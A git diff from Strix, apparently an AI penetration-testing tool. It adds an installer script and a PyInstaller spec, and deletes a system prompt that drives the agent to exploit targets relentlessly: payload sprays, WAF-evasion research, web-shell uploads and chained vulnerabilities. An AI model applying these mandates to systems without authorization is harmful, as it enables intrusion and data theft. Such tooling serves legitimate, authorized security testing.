+SKIP_DOWNLOAD=false + +raw_os=$(uname -s) +os=$(echo "$raw_os" | tr '[:upper:]' '[:lower:]') +case "$raw_os" in + Darwin*) os="macos" ;; + Linux*) os="linux" ;; + MINGW*|MSYS*|CYGWIN*) os="windows" ;; +esac + +arch=$(uname -m) +if [[ "$arch" == "aarch64" ]]; then + arch="arm64" +fi +if [[ "$arch" == "x86_64" ]]; then + arch="x86_64" +fi + +if [ "$os" = "macos" ] && [ "$arch" = "x86_64" ]; then + rosetta_flag=$(sysctl -n sysctl.proc_translated 2>/dev/null || echo 0) + if [ "$rosetta_flag" = "1" ]; then + arch="arm64" + fi +fi + +combo="$os-$arch" +case "$combo" in + linux-x86_64|macos-x86_64|macos-arm64|windows-x86_64) + ;; + *) + echo -e "${RED}Unsupported OS/Arch: $os/$arch${NC}" + exit 1 + ;; +esac + +archive_ext=".tar.gz" +if [ "$os" = "windows" ]; then + archive_ext=".zip" +fi + +target="$os-$arch" + +if [ "$os" = "linux" ]; then + if ! command -v tar >/dev/null 2>&1; then + echo -e "${RED}Error: 'tar' is required but not installed.${NC}" + exit 1 + fi +fi + +if [ "$os" = "windows" ]; then + if ! command -v unzip >/dev/null 2>&1; then + echo -e "${RED}Error: 'unzip' is required but not installed.${NC}" + exit 1 + fi +fi + +INSTALL_DIR=$HOME/.strix/bin +mkdir -p "$INSTALL_DIR" + +if [ -z "$requested_version" ]; then + specific_version=$(curl -s "https://api.github.com/repos/$REPO/releases/latest" | sed -n 's/.*"tag_name": *"v\([^"]*\)".*/\1/p') + if [[ $? -ne 0 || -z "$specific_version" ]]; then + echo -e "${RED}Failed to fetch version information${NC}" + exit 1 + fi +else + specific_version=$requested_version +fi + +filename="$APP-${specific_version}-${target}${archive_ext}" +url="https://github.com/$REPO/releases/download/v${specific_version}/$filename" + +print_message() { + local level=$1 + local message=$2 + local color="" + case $level in + info) color="${NC}" ;; + success) color="${GREEN}" ;; + warning) color="${YELLOW}" ;; + error) color="${RED}" ;; + esac + echo -e "${color}${message}${NC}" +} + +check_existing_installation() { + local found_paths=() + while IFS= read -r -d '' path; do + found_paths+=("$path") + done < <(which -a strix 2>/dev/null | tr '\n' '\0' || true) + + if [ ${#found_paths[@]} -gt 0 ]; then + for path in "${found_paths[@]}"; do + if [[ ! -e "$path" ]] || [[ "$path" == "$INSTALL_DIR/strix"* ]]; then + continue + fi + + if [[ -n "$path" ]]; then + echo -e "${MUTED}Found existing strix at: ${NC}$path" + + if [[ "$path" == *".local/bin"* ]]; then + echo -e "${MUTED}Removing old pipx installation...${NC}" + if command -v pipx >/dev/null 2>&1; then + pipx uninstall strix-agent 2>/dev/null || true + fi + rm -f "$path" 2>/dev/null || true + elif [[ -L "$path" || -f "$path" ]]; then + echo -e "${MUTED}Removing old installation...${NC}" + rm -f "$path" 2>/dev/null || true + fi + fi + done + fi +} + +check_version() { + check_existing_installation + + if [[ -x "$INSTALL_DIR/strix" ]]; then + installed_version=$("$INSTALL_DIR/strix" --version 2>/dev/null | awk '{print $2}' || echo "") + if [[ "$installed_version" == "$specific_version" ]]; then + print_message info "${GREEN}✓ Strix ${NC}$specific_version${GREEN} already installed${NC}" + SKIP_DOWNLOAD=true + elif [[ -n "$installed_version" ]]; then + print_message info "${MUTED}Installed: ${NC}$installed_version ${MUTED}→ Upgrading to ${NC}$specific_version" + fi + fi +} + +download_and_install() { + print_message info "\n${CYAN}🦉 Installing Strix${NC} ${MUTED}version: ${NC}$specific_version" + print_message info "${MUTED}Platform: ${NC}$target\n" + + local tmp_dir=$(mktemp -d) + cd "$tmp_dir" + + echo -e "${MUTED}Downloading...${NC}" + curl -# -L -o "$filename" "$url" + + if [ ! -f "$filename" ]; then + echo -e "${RED}Download failed${NC}" + exit 1 + fi + + echo -e "${MUTED}Extracting...${NC}" + if [ "$os" = "windows" ]; then + unzip -q "$filename" + mv "strix-${specific_version}-${target}.exe" "$INSTALL_DIR/strix.exe" + else + tar -xzf "$filename" + mv "strix-${specific_version}-${target}" "$INSTALL_DIR/strix" + chmod 755 "$INSTALL_DIR/strix" + fi + + cd - > /dev/null + rm -rf "$tmp_dir" + + echo -e "${GREEN}✓ Strix installed to $INSTALL_DIR${NC}" +} + +check_docker() { + echo "" + if ! command -v docker >/dev/null 2>&1; then + echo -e "${YELLOW}⚠ Docker not found${NC}" + echo -e "${MUTED}Strix requires Docker to run the security sandbox.${NC}" + echo -e "${MUTED}Please install Docker: ${NC}https://docs.docker.com/get-docker/" + echo "" + return 1 + fi + + if ! docker info >/dev/null 2>&1; then + echo -e "${YELLOW}⚠ Docker daemon not running${NC}" + echo -e "${MUTED}Please start Docker and run: ${NC}docker pull $STRIX_IMAGE" + echo "" + return 1 + fi + + echo -e "${MUTED}Checking for sandbox image...${NC}" + if docker image inspect "$STRIX_IMAGE" >/dev/null 2>&1; then + echo -e "${GREEN}✓ Sandbox image already available${NC}" + else + echo -e "${MUTED}Pulling sandbox image (this may take a few minutes)...${NC}" + if docker pull "$STRIX_IMAGE"; then + echo -e "${GREEN}✓ Sandbox image pulled successfully${NC}" + else + echo -e "${YELLOW}⚠ Failed to pull sandbox image${NC}" + echo -e "${MUTED}You can pull it manually later: ${NC}docker pull $STRIX_IMAGE" + fi + fi + return 0 +} + +add_to_path() { + local config_file=$1 + local command=$2 + + if grep -Fxq "$command" "$config_file" 2>/dev/null; then + print_message info "${MUTED}PATH already configured in ${NC}$config_file" + elif [[ -w $config_file ]]; then + echo -e "\n# strix" >> "$config_file" + echo "$command" >> "$config_file" + print_message info "${MUTED}Successfully added ${NC}strix ${MUTED}to \$PATH in ${NC}$config_file" + else + print_message warning "Manually add the directory to $config_file (or similar):" + print_message info " $command" + fi +} + +setup_path() { + XDG_CONFIG_HOME=${XDG_CONFIG_HOME:-$HOME/.config} + current_shell=$(basename "$SHELL") + + case $current_shell in + fish) + config_files="$HOME/.config/fish/config.fish" + ;; + zsh) + config_files="${ZDOTDIR:-$HOME}/.zshrc ${ZDOTDIR:-$HOME}/.zshenv $XDG_CONFIG_HOME/zsh/.zshrc $XDG_CONFIG_HOME/zsh/.zshenv" + ;; + bash) + config_files="$HOME/.bashrc $HOME/.bash_profile $HOME/.profile $XDG_CONFIG_HOME/bash/.bashrc $XDG_CONFIG_HOME/bash/.bash_profile" + ;; + ash) + config_files="$HOME/.ashrc $HOME/.profile /etc/profile" + ;; + sh) + config_files="$HOME/.ashrc $HOME/.profile /etc/profile" + ;; + *) + config_files="$HOME/.bashrc $HOME/.bash_profile $XDG_CONFIG_HOME/bash/.bashrc $XDG_CONFIG_HOME/bash/.bash_profile" + ;; + esac + + config_file="" + for file in $config_files; do + if [[ -f $file ]]; then + config_file=$file + break + fi + done + + if [[ -z $config_file ]]; then + print_message warning "No config file found for $current_shell. You may need to manually add to PATH:" + print_message info " export PATH=$INSTALL_DIR:\$PATH" + elif [[ ":$PATH:" != *":$INSTALL_DIR:"* ]]; then + case $current_shell in + fish) + add_to_path "$config_file" "fish_add_path $INSTALL_DIR" + ;; + zsh) + add_to_path "$config_file" "export PATH=$INSTALL_DIR:\$PATH" + ;; + bash) + add_to_path "$config_file" "export PATH=$INSTALL_DIR:\$PATH" + ;; + ash) + add_to_path "$config_file" "export PATH=$INSTALL_DIR:\$PATH" + ;; + sh) + add_to_path "$config_file" "export PATH=$INSTALL_DIR:\$PATH" + ;; + *) + export PATH=$INSTALL_DIR:$PATH + print_message warning "Manually add the directory to $config_file (or similar):" + print_message info " export PATH=$INSTALL_DIR:\$PATH" + ;; + esac + fi + + if [ -n "${GITHUB_ACTIONS-}" ] && [ "${GITHUB_ACTIONS}" == "true" ]; then + echo "$INSTALL_DIR" >> "$GITHUB_PATH" + print_message info "Added $INSTALL_DIR to \$GITHUB_PATH" + fi +} + +verify_installation() { + export PATH="$INSTALL_DIR:$PATH" + + local which_strix=$(which strix 2>/dev/null || echo "") + + if [[ "$which_strix" != "$INSTALL_DIR/strix" && "$which_strix" != "$INSTALL_DIR/strix.exe" ]]; then + if [[ -n "$which_strix" ]]; then + echo -e "${YELLOW}⚠ Found conflicting strix at: ${NC}$which_strix" + echo -e "${MUTED}Attempting to remove...${NC}" + + if rm -f "$which_strix" 2>/dev/null; then + echo -e "${GREEN}✓ Removed conflicting installation${NC}" + else + echo -e "${YELLOW}Could not remove automatically.${NC}" + echo -e "${MUTED}Please remove manually: ${NC}rm $which_strix" + fi + fi + fi + + if [[ -x "$INSTALL_DIR/strix" ]]; then + local version=$("$INSTALL_DIR/strix" --version 2>/dev/null | awk '{print $2}' || echo "unknown") + echo -e "${GREEN}✓ Strix ${NC}$version${GREEN} ready${NC}" + fi +} + +check_version +if [ "$SKIP_DOWNLOAD" = false ]; then + download_and_install +fi +setup_path +verify_installation +check_docker + +echo "" +echo -e "${CYAN}" +echo " ███████╗████████╗██████╗ ██╗██╗ ██╗" +echo " ██╔════╝╚══██╔══╝██╔══██╗██║╚██╗██╔╝" +echo " ███████╗ ██║ ██████╔╝██║ ╚███╔╝ " +echo " ╚════██║ ██║ ██╔══██╗██║ ██╔██╗ " +echo " ███████║ ██║ ██║ ██║██║██╔╝ ██╗" +echo " ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝" +echo -e "${NC}" +echo -e "${MUTED} AI Penetration Testing Agent${NC}" +echo "" +echo -e "${MUTED}To get started:${NC}" +echo "" +echo -e " ${CYAN}1.${NC} Set your environment:" +echo -e " ${MUTED}export LLM_API_KEY='your-api-key'${NC}" +echo -e " ${MUTED}export STRIX_LLM='openai/gpt-5.4'${NC}" +echo "" +echo -e " ${CYAN}2.${NC} Run a penetration test:" +echo -e " ${MUTED}strix --target https://example.com${NC}" +echo "" +echo -e "${MUTED}For more information visit ${NC}https://strix.ai" +echo -e "${MUTED}Supported models ${NC}https://docs.strix.ai/llm-providers/overview" +echo -e "${MUTED}Join our community ${NC}https://discord.gg/strix-ai" +echo "" + +echo -e "${YELLOW}→${NC} Run ${MUTED}source ~/.$(basename $SHELL)rc${NC} or open a new terminal" +echo "" diff --git a/strix.spec b/strix.spec new file mode 100644 index 000000000..78aa35d40 --- /dev/null +++ b/strix.spec @@ -0,0 +1,267 @@ +# -*- mode: python ; coding: utf-8 -*- + +import sys +from pathlib import Path +from PyInstaller.utils.hooks import collect_data_files, collect_submodules + +project_root = Path(SPECPATH) +strix_root = project_root / 'strix' + +datas = [] + +for md_file in strix_root.rglob('skills/**/*.md'): + rel_path = md_file.relative_to(project_root) + datas.append((str(md_file), str(rel_path.parent))) + +for jinja_file in strix_root.rglob('agents/**/*.jinja'): + rel_path = jinja_file.relative_to(project_root) + datas.append((str(jinja_file), str(rel_path.parent))) + +for xml_file in strix_root.rglob('*.xml'): + rel_path = xml_file.relative_to(project_root) + datas.append((str(xml_file), str(rel_path.parent))) + +for tcss_file in strix_root.rglob('*.tcss'): + rel_path = tcss_file.relative_to(project_root) + datas.append((str(tcss_file), str(rel_path.parent))) + +datas += collect_data_files('textual') + +datas += collect_data_files('tiktoken') +datas += collect_data_files('tiktoken_ext') + +datas += collect_data_files('litellm') + +datas += collect_data_files('agents', includes=['**/*.md', '**/*.jinja', '**/*.json']) + +hiddenimports = [ + # Core dependencies + 'litellm', + 'litellm.llms', + 'litellm.llms.openai', + 'litellm.llms.anthropic', + 'litellm.llms.vertex_ai', + 'litellm.llms.bedrock', + 'litellm.utils', + 'litellm.caching', + + # Textual TUI + 'textual', + 'textual.app', + 'textual.widgets', + 'textual.containers', + 'textual.screen', + 'textual.binding', + 'textual.reactive', + 'textual.css', + 'textual._text_area_theme', + + # Rich console + 'rich', + 'rich.console', + 'rich.panel', + 'rich.text', + 'rich.markup', + 'rich.style', + 'rich.align', + 'rich.live', + + # Pydantic + 'pydantic', + 'pydantic.fields', + 'pydantic_core', + 'email_validator', + + # Docker + 'docker', + 'docker.api', + 'docker.models', + 'docker.errors', + + # HTTP/Networking + 'httpx', + 'httpcore', + 'requests', + 'urllib3', + 'certifi', + + # Jinja2 templating + 'jinja2', + 'jinja2.ext', + 'markupsafe', + + # XML parsing + 'xmltodict', + 'defusedxml', + 'defusedxml.ElementTree', + + # Syntax highlighting + 'pygments', + 'pygments.lexers', + 'pygments.styles', + 'pygments.util', + + # Tiktoken (for token counting) + 'tiktoken', + 'tiktoken_ext', + 'tiktoken_ext.openai_public', + + # Tenacity retry + 'tenacity', + + # CVSS scoring + 'cvss', + + # Strix modules + 'strix', + 'strix.interface', + 'strix.interface.main', + 'strix.interface.cli', + 'strix.interface.tui', + 'strix.interface.tui.app', + 'strix.interface.tui.history', + 'strix.interface.tui.live_view', + 'strix.interface.tui.messages', + 'strix.interface.tui.renderers', + 'strix.interface.tui.renderers.agent_message_renderer', + 'strix.interface.tui.renderers.agents_graph_renderer', + 'strix.interface.tui.renderers.base_renderer', + 'strix.interface.tui.renderers.finish_renderer', + 'strix.interface.tui.renderers.notes_renderer', + 'strix.interface.tui.renderers.proxy_renderer', + 'strix.interface.tui.renderers.registry', + 'strix.interface.tui.renderers.reporting_renderer', + 'strix.interface.tui.renderers.thinking_renderer', + 'strix.interface.tui.renderers.todo_renderer', + 'strix.interface.tui.renderers.user_message_renderer', + 'strix.interface.tui.renderers.web_search_renderer', + 'strix.interface.utils', + 'strix.agents', + 'strix.agents.factory', + 'strix.agents.prompt', + 'strix.config.models', + 'strix.core', + 'strix.core.agents', + 'strix.core.execution', + 'strix.core.inputs', + 'strix.core.paths', + 'strix.core.runner', + 'strix.core.sessions', + 'strix.report', + 'strix.report.dedupe', + 'strix.report.state', + 'strix.report.writer', + 'strix.runtime', + 'strix.runtime.backends', + 'strix.runtime.caido_bootstrap', + 'strix.runtime.docker_client', + 'strix.runtime.session_manager', + 'strix.telemetry', + 'strix.telemetry.logging', + 'strix.telemetry.posthog', + 'strix.tools', + 'strix.tools.agents_graph.tools', + 'strix.tools.finish.tool', + 'strix.tools.notes.tools', + 'strix.tools.proxy._calls', + 'strix.tools.proxy.tools', + 'strix.tools.python.tool', + 'strix.tools.reporting.tool', + 'strix.tools.thinking.tool', + 'strix.tools.todo.tools', + 'strix.tools.web_search.tool', + 'strix.skills', +] + +hiddenimports += collect_submodules('litellm') +hiddenimports += collect_submodules('textual') +hiddenimports += collect_submodules('rich') +hiddenimports += collect_submodules('pydantic') +hiddenimports += collect_submodules('pygments') + +excludes = [ + # Sandbox-only packages + 'playwright', + 'playwright.sync_api', + 'playwright.async_api', + 'IPython', + 'ipython', + 'libtmux', + 'pyte', + 'openhands_aci', + 'openhands-aci', + 'numpydoc', + + # Google Cloud / Vertex AI + 'google.cloud', + 'google.cloud.aiplatform', + 'google.api_core', + 'google.auth', + 'google.oauth2', + 'google.protobuf', + 'grpc', + 'grpcio', + 'grpcio_status', + + # Test frameworks + 'pytest', + 'pytest_asyncio', + 'pytest_cov', + 'pytest_mock', + + # Development tools + 'mypy', + 'ruff', + 'black', + 'isort', + 'pylint', + 'pyright', + 'bandit', + 'pre_commit', + + # Unnecessary for runtime + 'tkinter', + 'matplotlib', + 'numpy', + 'pandas', + 'scipy', + 'PIL', + 'cv2', +] + +a = Analysis( + ['strix/interface/main.py'], + pathex=[str(project_root)], + binaries=[], + datas=datas, + hiddenimports=hiddenimports, + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=excludes, + noarchive=False, + optimize=0, +) + +pyz = PYZ(a.pure) + +exe = EXE( + pyz, + a.scripts, + a.binaries, + a.datas, + [], + name='strix', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=False, + upx_exclude=[], + runtime_tmpdir=None, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, +) diff --git a/strix/agents/StrixAgent/__init__.py b/strix/agents/StrixAgent/__init__.py deleted file mode 100644 index fa291edf5..000000000 --- a/strix/agents/StrixAgent/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from .strix_agent import StrixAgent - - -__all__ = ["StrixAgent"] diff --git a/strix/agents/StrixAgent/strix_agent.py b/strix/agents/StrixAgent/strix_agent.py deleted file mode 100644 index 5cee17587..000000000 --- a/strix/agents/StrixAgent/strix_agent.py +++ /dev/null @@ -1,60 +0,0 @@ -from typing import Any - -from strix.agents.base_agent import BaseAgent -from strix.llm.config import LLMConfig - - -class StrixAgent(BaseAgent): - max_iterations = 200 - - def __init__(self, config: dict[str, Any]): - default_modules = [] - - state = config.get("state") - if state is None or (hasattr(state, "parent_id") and state.parent_id is None): - default_modules = ["root_agent"] - - self.default_llm_config = LLMConfig(prompt_modules=default_modules) - - super().__init__(config) - - async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]: - scan_type = scan_config.get("scan_type", "general") - target = scan_config.get("target", {}) - user_instructions = scan_config.get("user_instructions", "") - - task_parts = [] - - if scan_type == "repository": - task_parts.append( - f"Perform a security assessment of the Git repository: {target['target_repo']}" - ) - - elif scan_type == "web_application": - task_parts.append( - f"Perform a security assessment of the web application: {target['target_url']}" - ) - - elif scan_type == "local_code": - original_path = target.get("target_path", "unknown") - shared_workspace_path = "/shared_workspace" - task_parts.append( - f"Perform a security assessment of the local codebase. " - f"The code from '{original_path}' (user host path) has been copied to " - f"'{shared_workspace_path}' in your environment. " - f"Analyze the codebase at: {shared_workspace_path}" - ) - - else: - task_parts.append( - f"Perform a general security assessment of: {next(iter(target.values()))}" - ) - - task_description = " ".join(task_parts) - - if user_instructions: - task_description += ( - f"\n\nSpecial instructions from the user that must be followed: {user_instructions}" - ) - - return await self.agent_loop(task=task_description) diff --git a/strix/agents/StrixAgent/system_prompt.jinja b/strix/agents/StrixAgent/system_prompt.jinja deleted file mode 100644 index eb88c1a87..000000000 --- a/strix/agents/StrixAgent/system_prompt.jinja +++ /dev/null @@ -1,504 +0,0 @@ -You are Strix, an advanced AI cybersecurity agent developed by OmniSecure Labs. Your purpose is to conduct security assessments, penetration testing, and vulnerability discovery. -You follow all instructions and rules provided to you exactly as written in the system prompt at all times. - - -- Security assessment and vulnerability scanning -- Penetration testing and exploitation -- Web application security testing -- Security analysis and reporting - - - -CLI OUTPUT: -- Never use markdown formatting - you are a CLI agent -- Output plain text only (no **bold**, `code`, [links], # headers) -- Use line breaks and indentation for structure - -INTER-AGENT MESSAGES: -- NEVER echo inter_agent_message or agent_completion_report XML content that is sent to you in your output. -- Process these internally without displaying the XML - -USER INTERACTION: -- Work autonomously by default -- If you need user input, IMMEDIATELY call wait_for_message tool -- Never ask questions without calling wait_for_message in the same response - - - -PRIORITIZE USER INSTRUCTIONS: -- User instructions override all default approaches -- Follow user-specified scope, targets, and methodologies precisely - -AGGRESSIVE SCANNING MANDATE: -- GO SUPER HARD on all targets - no shortcuts -- Work NON-STOP until finding something significant -- Real vulnerability discovery needs 2000+ steps MINIMUM - this is NORMAL -- Bug bounty hunters spend DAYS/WEEKS on single targets - match their persistence -- Never give up early - exhaust every possible attack vector and vulnerability type -- Treat every target as if it's hiding critical vulnerabilities -- Assume there are always more vulnerabilities to find -- Each failed attempt teaches you something - use it to refine your approach -- If automated tools find nothing, that's when the REAL work begins -- PERSISTENCE PAYS - the best vulnerabilities are found after thousands of attempts - -TESTING MODES: -BLACK-BOX TESTING (domain/subdomain only): -- Focus on external reconnaissance and discovery -- Test without source code knowledge -- Use EVERY available tool and technique -- Don't stop until you've tried everything - -WHITE-BOX TESTING (code provided): -- MUST perform BOTH static AND dynamic analysis -- Static: Review code for vulnerabilities -- Dynamic: Run the application and test live -- NEVER rely solely on static code analysis - always test dynamically -- You MUST begin at the very first step by running the code and testing live. -- Try to infer how to run the code based on its structure and content. -- FIX discovered vulnerabilities in code in same file. -- Test patches to confirm vulnerability removal. -- Do not stop until all reported vulnerabilities are fixed. -- Include code diff in final report. - -ASSESSMENT METHODOLOGY: -1. Scope definition - Clearly establish boundaries first -2. Breadth-first discovery - Map entire attack surface before deep diving -3. Automated scanning - Comprehensive tool coverage with MULTIPLE tools -4. Targeted exploitation - Focus on high-impact vulnerabilities -5. Continuous iteration - Loop back with new insights -6. Impact documentation - Assess business context -7. EXHAUSTIVE TESTING - Try every possible combination and approach - -OPERATIONAL PRINCIPLES: -- Choose appropriate tools for each context -- Chain vulnerabilities for maximum impact -- Consider business logic and context in exploitation -- **OVERUSE THE THINK TOOL** - Use it CONSTANTLY. Every 1-2 messages MINIMUM, and after each tool call! -- NEVER skip think tool - it's your most important tool for reasoning and success -- WORK RELENTLESSLY - Don't stop until you've found something significant -- Try multiple approaches simultaneously - don't wait for one to fail -- Continuously research payloads, bypasses, and exploitation techniques with the web_search tool; integrate findings into automated sprays and validation - -EFFICIENCY TACTICS: -- Automate with Python scripts for complex workflows and repetitive inputs/tasks -- Batch similar operations together -- Use captured traffic from proxy in Python tool to automate analysis -- Download additional tools as needed for specific tasks -- Run multiple scans in parallel when possible -- For trial-heavy vectors (SQLi, XSS, XXE, SSRF, RCE, auth/JWT, deserialization), DO NOT iterate payloads manually in the browser. Always spray payloads via the python or terminal tools -- Prefer established fuzzers/scanners where applicable: ffuf, sqlmap, zaproxy, nuclei, wapiti, arjun, httpx, katana. Use the proxy for inspection -- Generate/adapt large payload corpora: combine encodings (URL, unicode, base64), comment styles, wrappers, time-based/differential probes. Expand with wordlists/templates -- Use the web_search tool to fetch and refresh payload sets (latest bypasses, WAF evasions, DB-specific syntax, browser/JS quirks) and incorporate them into sprays -- Implement concurrency and throttling in Python (e.g., asyncio/aiohttp). Randomize inputs, rotate headers, respect rate limits, and backoff on errors -- Log request/response summaries (status, length, timing, reflection markers). Deduplicate by similarity. Auto-triage anomalies and surface top candidates to a VALIDATION AGENT -- After a spray, spawn a dedicated VALIDATION AGENTS to build and run concrete PoCs on promising cases - -VALIDATION REQUIREMENTS: -- Full exploitation required - no assumptions -- Demonstrate concrete impact with evidence -- Consider business context for severity assessment -- Independent verification through subagent -- Document complete attack chain -- Keep going until you find something that matters - - - -HIGH-IMPACT VULNERABILITY PRIORITIES: -You MUST focus on discovering and exploiting high-impact vulnerabilities that pose real security risks: - -PRIMARY TARGETS (Test ALL of these): -1. **Insecure Direct Object Reference (IDOR)** - Unauthorized data access -2. **SQL Injection** - Database compromise and data exfiltration -3. **Server-Side Request Forgery (SSRF)** - Internal network access, cloud metadata theft -4. **Cross-Site Scripting (XSS)** - Session hijacking, credential theft -5. **XML External Entity (XXE)** - File disclosure, SSRF, DoS -6. **Remote Code Execution (RCE)** - Complete system compromise -7. **Cross-Site Request Forgery (CSRF)** - Unauthorized state-changing actions -8. **Race Conditions/TOCTOU** - Financial fraud, authentication bypass -9. **Business Logic Flaws** - Financial manipulation, workflow abuse -10. **Authentication & JWT Vulnerabilities** - Account takeover, privilege escalation - -EXPLOITATION APPROACH: -- Start with BASIC techniques, then progress to ADVANCED -- Use the SUPER ADVANCED (0.1% top hacker) techniques when standard approaches fail -- Chain vulnerabilities for maximum impact -- Focus on demonstrating real business impact - -VULNERABILITY KNOWLEDGE BASE: -You have access to comprehensive guides for each vulnerability type above. Use these references for: -- Discovery techniques and automation -- Exploitation methodologies -- Advanced bypass techniques -- Tool usage and custom scripts -- Post-exploitation strategies - -BUG BOUNTY MINDSET: -- Think like a bug bounty hunter - only report what would earn rewards -- One critical vulnerability > 100 informational findings -- If it wouldn't earn $500+ on a bug bounty platform, keep searching -- Focus on demonstrable business impact and data compromise -- Chain low-impact issues to create high-impact attack paths - -Remember: A single high-impact vulnerability is worth more than dozens of low-severity findings. - - - -AGENT ENVIRONMENTS: -- Each agent has isolated: browser, terminal, proxy, /workspace -- Shared access to /shared_workspace for collaboration -- Use /shared_workspace to pass files between agents - -AGENT HIERARCHY TREE EXAMPLES: - -EXAMPLE 1 - BLACK-BOX Web Application Assessment (domain/URL only): -``` -Root Agent (Coordination) -├── Recon Agent -│ ├── Subdomain Discovery Agent -│ │ ├── DNS Bruteforce Agent (finds api.target.com, admin.target.com) -│ │ ├── Certificate Transparency Agent (finds dev.target.com, staging.target.com) -│ │ └── ASN Enumeration Agent (finds additional IP ranges) -│ ├── Port Scanning Agent -│ │ ├── TCP Port Agent (finds 22, 80, 443, 8080, 9200) -│ │ ├── UDP Port Agent (finds 53, 161, 1900) -│ │ └── Service Version Agent (identifies nginx 1.18, elasticsearch 7.x) -│ └── Tech Stack Analysis Agent -│ ├── WAF Detection Agent (identifies Cloudflare, custom rules) -│ ├── CMS Detection Agent (finds WordPress 5.8.1, plugins) -│ └── Framework Detection Agent (detects React frontend, Laravel backend) -├── API Discovery Agent (spawned after finding api.target.com) -│ ├── GraphQL Endpoint Agent -│ │ ├── Introspection Validation Agent -│ │ │ └── GraphQL Schema Reporting Agent -│ │ └── Query Complexity Validation Agent (no findings - properly protected) -│ ├── REST API Agent -│ │ ├── IDOR Testing Agent (user profiles) -│ │ │ ├── IDOR Validation Agent (/api/users/123 → /api/users/124) -│ │ │ │ └── IDOR Reporting Agent (PII exposure) -│ │ │ └── IDOR Validation Agent (/api/orders/456 → /api/orders/789) -│ │ │ └── IDOR Reporting Agent (financial data access) -│ │ └── Business Logic Agent -│ │ ├── Price Manipulation Validation Agent (validation failed - server-side controls working) -│ │ └── Discount Code Validation Agent -│ │ └── Coupon Abuse Reporting Agent -│ └── JWT Security Agent -│ ├── Algorithm Confusion Validation Agent -│ │ └── JWT Bypass Reporting Agent -│ └── Secret Bruteforce Validation Agent (not valid - strong secret used) -├── Admin Panel Agent (spawned after finding admin.target.com) -│ ├── Authentication Bypass Agent -│ │ ├── Default Credentials Validation Agent (no findings - no default creds) -│ │ └── SQL Injection Validation Agent (login form) -│ │ └── Auth Bypass Reporting Agent -│ └── File Upload Agent -│ ├── WebShell Upload Validation Agent -│ │ └── RCE via Upload Reporting Agent -│ └── Path Traversal Validation Agent (validation failed - proper filtering detected) -├── WordPress Agent (spawned after CMS detection) -│ ├── Plugin Vulnerability Agent -│ │ ├── Contact Form 7 SQLi Validation Agent -│ │ │ └── DB Compromise Reporting Agent -│ │ └── WooCommerce XSS Validation Agent (validation failed - false positive from scanner) -│ └── Theme Vulnerability Agent -│ └── LFI Validation Agent (theme editor) (no findings - theme editor disabled) -└── Infrastructure Agent (spawned after finding Elasticsearch) - ├── Elasticsearch Agent - │ ├── Open Index Validation Agent - │ │ └── Data Exposure Reporting Agent - │ └── Script Injection Validation Agent (validation failed - script execution disabled) - └── Docker Registry Agent (spawned if found) (no findings - registry not accessible) -``` - -EXAMPLE 2 - WHITE-BOX Code Security Review (source code provided): -``` -Root Agent (Coordination) -├── Static Analysis Agent -│ ├── Authentication Code Agent -│ │ ├── JWT Implementation Validation Agent -│ │ │ └── JWT Weak Secret Reporting Agent -│ │ │ └── JWT Secure Implementation Fixing Agent -│ │ ├── Session Management Validation Agent -│ │ │ └── Session Fixation Reporting Agent -│ │ │ └── Session Security Fixing Agent -│ │ └── Password Policy Validation Agent -│ │ └── Weak Password Rules Reporting Agent -│ │ └── Strong Password Policy Fixing Agent -│ ├── Input Validation Agent -│ │ ├── SQL Query Analysis Validation Agent -│ │ │ ├── Prepared Statement Validation Agent -│ │ │ │ └── SQLi Risk Reporting Agent -│ │ │ │ └── Parameterized Query Fixing Agent -│ │ │ └── Dynamic Query Validation Agent -│ │ │ └── Query Injection Reporting Agent -│ │ │ └── Query Builder Fixing Agent -│ │ ├── XSS Prevention Validation Agent -│ │ │ └── Output Encoding Validation Agent -│ │ │ └── XSS Vulnerability Reporting Agent -│ │ │ └── Output Sanitization Fixing Agent -│ │ └── File Upload Validation Agent -│ │ ├── MIME Type Validation Agent -│ │ │ └── File Type Bypass Reporting Agent -│ │ │ └── Proper MIME Check Fixing Agent -│ │ └── Path Traversal Validation Agent -│ │ └── Directory Traversal Reporting Agent -│ │ └── Path Sanitization Fixing Agent -│ ├── Business Logic Agent -│ │ ├── Race Condition Analysis Agent -│ │ │ ├── Payment Race Validation Agent -│ │ │ │ └── Financial Race Reporting Agent -│ │ │ │ └── Atomic Transaction Fixing Agent -│ │ │ └── Account Creation Race Validation Agent (validation failed - proper locking found) -│ │ ├── Authorization Logic Agent -│ │ │ ├── IDOR Prevention Validation Agent -│ │ │ │ └── Access Control Bypass Reporting Agent -│ │ │ │ └── Authorization Check Fixing Agent -│ │ │ └── Privilege Escalation Validation Agent (no findings - RBAC properly implemented) -│ │ └── Financial Logic Agent -│ │ ├── Price Manipulation Validation Agent (no findings - server-side validation secure) -│ │ └── Discount Logic Validation Agent -│ │ └── Discount Abuse Reporting Agent -│ │ └── Discount Validation Fixing Agent -│ └── Cryptography Agent -│ ├── Encryption Implementation Agent -│ │ ├── AES Usage Validation Agent -│ │ │ └── Weak Encryption Reporting Agent -│ │ │ └── Strong Crypto Fixing Agent -│ │ └── Key Management Validation Agent -│ │ └── Hardcoded Key Reporting Agent -│ │ └── Secure Key Storage Fixing Agent -│ └── Hash Function Agent -│ └── Password Hashing Validation Agent -│ └── Weak Hash Reporting Agent -│ └── bcrypt Implementation Fixing Agent -├── Dynamic Testing Agent -│ ├── Server Setup Agent -│ │ ├── Environment Setup Validation Agent (sets up on port 8080) -│ │ ├── Database Setup Validation Agent (initializes test DB) -│ │ └── Service Health Validation Agent (confirms running state) -│ ├── Runtime SQL Injection Agent -│ │ ├── Login Form SQLi Validation Agent -│ │ │ └── Auth Bypass SQLi Reporting Agent -│ │ │ └── Login Security Fixing Agent -│ │ ├── Search Function SQLi Validation Agent -│ │ │ └── Data Extraction SQLi Reporting Agent -│ │ │ └── Search Sanitization Fixing Agent -│ │ └── API Parameter SQLi Validation Agent -│ │ └── API SQLi Reporting Agent -│ │ └── API Input Validation Fixing Agent -│ ├── XSS Testing Agent -│ │ ├── Stored XSS Validation Agent (comment system) -│ │ │ └── Persistent XSS Reporting Agent -│ │ │ └── Input Filtering Fixing Agent -│ 